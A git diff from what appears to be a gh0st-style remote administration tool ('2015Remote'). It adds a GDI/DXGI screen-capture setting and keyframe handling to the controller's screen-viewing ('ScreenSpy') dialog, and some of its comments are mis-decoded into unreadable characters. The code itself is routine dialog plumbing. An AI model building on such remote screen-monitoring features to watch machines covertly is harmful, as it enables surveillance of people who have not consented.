--- a/server/2015Remote/ScreenSpyDlg.h
+++ b/server/2015Remote/ScreenSpyDlg.h
@@ -23,7 +23,7 @@ public:
PVOID m_BitmapData_Full;
LPBITMAPINFO m_BitmapInfor_Full;
VOID DrawFirstScreen(void);
- VOID DrawNextScreenDiff(void);
+ VOID DrawNextScreenDiff(bool keyFrame);
BOOL m_bIsFirst;
ULONG m_ulHScrollPos;
ULONG m_ulVScrollPos;
@@ -45,6 +45,7 @@ public:
LPBYTE m_szData;
BOOL m_bSend;
ULONG m_ulMsgCount;
+ int m_FrameID;
BOOL SaveSnapshot(void);
// Ի
diff --git a/server/2015Remote/SettingDlg.cpp b/server/2015Remote/SettingDlg.cpp
index bec4317..26a856d 100644
--- a/server/2015Remote/SettingDlg.cpp
+++ b/server/2015Remote/SettingDlg.cpp
@@ -15,6 +15,7 @@ CSettingDlg::CSettingDlg(CWnd* pParent)
: CDialog(CSettingDlg::IDD, pParent)
, m_nListenPort(0)
, m_nMax_Connect(0)
+ , m_sScreenCapture(_T("GDI"))
{
}
@@ -28,6 +29,9 @@ void CSettingDlg::DoDataExchange(CDataExchange* pDX)
DDX_Text(pDX, IDC_EDIT_PORT, m_nListenPort);
DDX_Text(pDX, IDC_EDIT_MAX, m_nMax_Connect);
DDX_Control(pDX, IDC_BUTTON_SETTINGAPPLY, m_ApplyButton);
+ DDX_Control(pDX, IDC_COMBO_SCREEN_CAPTURE, m_ComboScreenCapture);
+ DDX_CBString(pDX, IDC_COMBO_SCREEN_CAPTURE, m_sScreenCapture);
+ DDV_MaxChars(pDX, m_sScreenCapture, 32);
}
BEGIN_MESSAGE_MAP(CSettingDlg, CDialog)
@@ -48,9 +52,15 @@ BOOL CSettingDlg::OnInitDialog()
//ȡini ļеļ˿
int nMaxConnection = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "MaxConnection");
+ int DXGI = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "DXGI");
+
m_nListenPort = (nPort<=0 || nPort>65535) ? 6543 : nPort;
m_nMax_Connect = nMaxConnection<=0 ? 10000 : nMaxConnection;
+ m_ComboScreenCapture.InsertString(0, "GDI");
+ m_ComboScreenCapture.InsertString(1, "DXGI");
+ m_sScreenCapture = DXGI ? "DXGI" : "GDI";
+
UpdateData(FALSE);
return TRUE;
@@ -64,6 +74,9 @@ void CSettingDlg::OnBnClickedButtonSettingapply()
//iniļдֵ
((CMy2015RemoteApp *)AfxGetApp())->m_iniFile.SetInt("settings", "MaxConnection", m_nMax_Connect);
+ int n = m_ComboScreenCapture.GetCurSel();
+ ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.SetInt("settings", "DXGI", n);
+
m_ApplyButton.EnableWindow(FALSE);
m_ApplyButton.ShowWindow(SW_HIDE);
}
diff --git a/server/2015Remote/SettingDlg.h b/server/2015Remote/SettingDlg.h
index a75622e..bc2e430 100644
--- a/server/2015Remote/SettingDlg.h
+++ b/server/2015Remote/SettingDlg.h
@@ -28,4 +28,6 @@ public:
afx_msg void OnEnChangeEditMax();
CButton m_ApplyButton;
virtual void OnOK();
+ CComboBox m_ComboScreenCapture;
+ CString m_sScreenCapture;
};
diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h
index 8e56c9a..ce2734a 100644
Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ
diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h
index 8818206..a34f0e7 100644
--- a/server/2015Remote/stdafx.h
+++ b/server/2015Remote/stdafx.h
@@ -5,8 +5,6 @@
#pragma once
-#include "common/commands.h"
-
// ʹѹ㷨㷨Ҫclienstdafx.hƥ
#define USING_COMPRESS 1
@@ -163,3 +161,5 @@ public:
#define AUTO_TICK(thresh)
#define STOP_TICK
#endif
+
+#include "common/commands.h"